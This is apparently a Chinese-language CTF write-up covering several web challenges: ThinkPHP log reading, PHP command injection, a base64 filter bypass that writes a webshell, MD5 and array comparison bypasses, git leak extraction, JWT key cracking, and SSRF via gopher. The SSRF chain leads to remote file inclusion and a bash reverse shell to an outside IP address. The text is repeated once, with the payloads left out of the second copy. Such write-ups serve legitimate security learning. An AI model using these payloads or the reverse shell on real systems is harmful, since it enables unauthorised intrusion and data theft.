c1oud
昂波利玻玻
December 14th, 2021
放了hint:20211025232429.png
直接访问看一下,图片上叫读10月25日的日志文件,扫了下目录,有个文件提示是thinkphp的,传个/?s=1,看到thinkphp3.2.3版本
直接读日志文件Application/Runtime/Logs/Home/21_10_25.log
有个php文件再去访问,是个登录框,其他什么都没有,弱密码爆破一下,爆出来密码hack。
登录后台直接输入命令就拿到了
看起来要登录后台,账号盲猜admin,密码下面有个邮箱,直接当密码登录就行了。
post传参,直接构造闭合然后命令执行就可以了
payload:
1=";system('ls /');" 1=";system('cat /flag.txt');"
也可以直接传${system('ls /')}一样的。
网上搜file_put_contents死亡杂糅,payload一大堆。
直接url二次编码绕过,file_put_contents的时候应该可以将url再次解码。直接将部分关键字二次编码就可以了,编码全部的话,有些字符是不能进行二次编码的。
file=php://filter/convert.%2562ase64-decode/resource=1.php contents=abPD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcudHh0Jyk7Pz4=
打开环境后点提交,进入原码页面,简单审计一下
if (($_GET['user']===$_GET['password'])||(md5($_GET['user'])!=md5($_GET['password']))) die();
这个直接用数组绕过就可以了
parse_url 用来解析 URL,返回其组成部分,对严重不合格的 URL,parse_url() 可能会返回 FALSE,$request_url用来拼接路径,但是后面拼接了个path,可以用目录穿越去绕。strstr限制了包含的内容里面不能有flag字符。最后会把包含的内容和拼接的东西输出。因为不知道具体路径,挨着试可以看到回显
?submit=提交&site=http://www.cduestc.cn:50015&user[]=1&password[]=2&path=../../../../
用到parse_url特性,传个伪协议读文件就可以了,因为内容不能有flag,用base加密就好了,盲猜根目录下的flag。
?submit=提交&site=php://filter/read=convert.base64-encode/resource=&user[]=1&password[]=2&path=../../../../flag
base64解码就得到 flag{6f1be467900cf5ae57ea2f34e3536635}
f12打开看到有个run.py,访问后告诉了是flask框架,提醒了git,应该是git泄露。用git_extract跑一下
python2 git_extract.py http://www.cduestc.cn:50004/.git/
得到一个文件夹,里面就是他所有的文件了,里面有个whereflag.php,和一个flag.php(没什么用)
//whereflag.php <?php include 'flag.php'; if(isset($_GET["a"])){ $a = $_GET["a"]; if($a == md5($a)){ echo $flag; } }
这个用a=0e215962017就可以绕过了,
根据文件夹的目录,进入到环境的http://www.cduestc.cn:50004/FLag_iS_In_Here/whereflag.php 这个目录下面去传参就得到了。
flag{0AiGSGvRZF9ZdVNSeYKpGCjVX0VoEhhu}
<?php header("Content-Type:text/html;charset=utf-8"); error_reporting(0); highlight_file(__FILE__); class test { static function cat(){ $arr = $_POST['ctf']; if(is_array($arr)){ $arr(); } } } class Flag { function getFlag(){ include("flag.php"); echo $flag; } } if(preg_match("/:/i", $_POST['kc'])){ die("私有方法!!!"); } $allow = array(); $password=($_POST['password']!=null)?md5($_POST['password']):die(); for($i=0;$i<strlen($password);$i++){ array_push($allow, substr($password, $i)); } if(in_array(intval($_POST['kc']), $allow)){ call_user_func($_POST['kc']); } ?>
if(preg_match("/:/i", $_POST['kc'])){ die("私有方法!!!"); }
这个是为了防止直接调用test类里面的静态方法,不过不影响,传数组就行,后面利用call_user_func。之前都不知道,本地试了试,发现get和post传上去的都是字符,那字符肯定不可能是空,md5加密后经过substr放到allow数组里面,这个intval如果里面数组为空返回0,不为空返回1。在利用in_array函数的松散匹配直接绕过,最后调用回调函数。再看test里面$arr()可以实现调用一个方法。那答案显而易见了。
payload
kc[]=test&ks[]=cat&ctf[]=Flag&ctf[]=getFlag&password=a或者 kc[]=Flag&kc[]=getFlag&password=a
提示以管理员访问,有个管理员登录,试了试弱密码没什么用,抓个包发现有jwt。爆破拿到密匙12345。然后以管理员身份登录。先看看phpinfo,没什么发现,登录控制台看到url栏中有明显的ssrf,试了一下百度
那注入点找到了,直接在控制台输入命令发现没用,读了读console原码。根据常识可以知道console在/var/www/html/目录下面,用file协议即可读出来。
?php error_reporting(0); require("functions.php"); $com = $_POST['com']; // if(ssrf_check() && Limit_command($comment)){ echo $com; if(ssrf_check()){ if(isset($_POST['com'])){ if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\(|\{|\}|<|
输入的命令过滤了flag和括号,只能考虑无括号的了,想到了用 inlucde$_POST[1] ,然后用gopher构造一个post包就好了,还是先读一下etc/passwd。
gopher://127.0.0.1:80/_POST%2520%252Fconsole.php%2520HTTP%252F1.1%250D%250AHost%253A%2520www.cduestc.cn%253A50017%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252035%250D%250A%250D%250Acom%253Dinclude%2524_POST%255B0%255D%253B%25260%253D%252Fetc%252Fpasswd
没有问题,然后直接包含命令发现并没有用,想到远程文件包含,先看看phpinfo
直接远程文件包含就好了
com=include$_POST[1]&1=http://139.196.123.120/1.php 1.php <?php system('ls /');?>
但发现列出来的是自己vps上面 的文件,把1.php改一下就好了
<?php echo "<?php system('bash -c \"bash -i >& /dev/tcp/139.196.123.120/7777 0>&1\"')?>"?>
监听成功,读到flag。
web
webshell
放了hint:20211025232429.png
直接访问看一下,图片上叫读10月25日的日志文件,扫了下目录,有个文件提示是thinkphp的,传个/?s=1,看到thinkphp3.2.3版本
直接读日志文件Application/Runtime/Logs/Home/21_10_25.log
有个php文件再去访问,是个登录框,其他什么都没有,弱密码爆破一下,爆出来密码hack。
登录后台直接输入命令就拿到了
mima
看起来要登录后台,账号盲猜admin,密码下面有个邮箱,直接当密码登录就行了。
rce
post传参,直接构造闭合然后命令执行就可以了
payload:
也可以直接传${system('ls /')}一样的。
upload
网上搜file_put_contents死亡杂糅,payload一大堆。
直接url二次编码绕过,file_put_contents的时候应该可以将url再次解码。直接将部分关键字二次编码就可以了,编码全部的话,有些字符是不能进行二次编码的。
payload:
phpbasics
打开环境后点提交,进入原码页面,简单审计一下
这个直接用数组绕过就可以了
parse_url 用来解析 URL,返回其组成部分,对严重不合格的 URL,parse_url() 可能会返回 FALSE,$request_url用来拼接路径,但是后面拼接了个path,可以用目录穿越去绕。strstr限制了包含的内容里面不能有flag字符。最后会把包含的内容和拼接的东西输出。因为不知道具体路径,挨着试可以看到回显
用到parse_url特性,传个伪协议读文件就可以了,因为内容不能有flag,用base加密就好了,盲猜根目录下的flag。
base64解码就得到 flag{6f1be467900cf5ae57ea2f34e3536635}
Who is me
f12打开看到有个run.py,访问后告诉了是flask框架,提醒了git,应该是git泄露。用git_extract跑一下
得到一个文件夹,里面就是他所有的文件了,里面有个whereflag.php,和一个flag.php(没什么用)
这个用a=0e215962017就可以绕过了,
根据文件夹的目录,进入到环境的http://www.cduestc.cn:50004/FLag_iS_In_Here/whereflag.php 这个目录下面去传参就得到了。
flag{0AiGSGvRZF9ZdVNSeYKpGCjVX0VoEhhu}
characteristic
这个是为了防止直接调用test类里面的静态方法,不过不影响,传数组就行,后面利用call_user_func。之前都不知道,本地试了试,发现get和post传上去的都是字符,那字符肯定不可能是空,md5加密后经过substr放到allow数组里面,这个intval如果里面数组为空返回0,不为空返回1。在利用in_array函数的松散匹配直接绕过,最后调用回调函数。再看test里面$arr()可以实现调用一个方法。那答案显而易见了。
payload
ssrf
提示以管理员访问,有个管理员登录,试了试弱密码没什么用,抓个包发现有jwt。爆破拿到密匙12345。然后以管理员身份登录。先看看phpinfo,没什么发现,登录控制台看到url栏中有明显的ssrf,试了一下百度
那注入点找到了,直接在控制台输入命令发现没用,读了读console原码。根据常识可以知道console在/var/www/html/目录下面,用file协议即可读出来。
输入的命令过滤了flag和括号,只能考虑无括号的了,想到了用 inlucde$_POST[1] ,然后用gopher构造一个post包就好了,还是先读一下etc/passwd。
没有问题,然后直接包含命令发现并没有用,想到远程文件包含,先看看phpinfo
直接远程文件包含就好了
但发现列出来的是自己vps上面 的文件,把1.php改一下就好了
监听成功,读到flag。